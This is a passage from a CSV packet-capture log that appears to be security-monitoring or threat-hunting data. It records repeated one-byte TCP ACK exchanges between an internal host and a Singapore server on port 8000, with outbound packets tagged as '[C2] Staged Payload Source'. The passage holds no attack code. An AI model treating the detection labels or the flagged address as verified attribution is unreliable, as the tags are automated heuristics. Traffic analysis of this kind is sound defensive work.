> TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0ff400080063eff0a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45311, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16127, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:58.882376,729,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d3b4000400602b9c0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4-;@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11579, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 697, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:10:59.898039,730,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b100400080063efe0a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45312, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16126, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:59.898051,731,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d3c4000400602b8c0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4-<@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11580, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 696, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:11:00.913608,732,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b101400080063efd0a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45313, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16125, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:00.913622,733,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d3d4000400602b7c0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4-=@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11581, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 695, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:11:01.929318,734,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b102400080063efc0a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45314, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16124, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:01.929336,735,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d3e4000400602b6c0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4->@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11582, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 694, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:11:02.944961,736,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b103400080063efb0a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45315, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16123, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:02.944983,737,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d3f4000400602b5c0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4-?@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11583, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 693, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:11:03.960594,738,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b104400080063efa0a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45316, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16122, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:03.960621,739,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d404000400602b4c0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4-@@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11584, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 692, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:11:04.976235,740,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b105400080063ef90a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45317, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16121, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:04.976257,741,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d414000400602b3c0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4-A@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11585, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 691, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:11:05.976275,742,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b106400080063ef80a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45318, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16120, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:05.976301,743,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d424000400602b2c0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4-B@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11586, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 690, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:11:06.991918,744,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b107400080063ef70a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45319, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16119, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:06.991948,745,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks 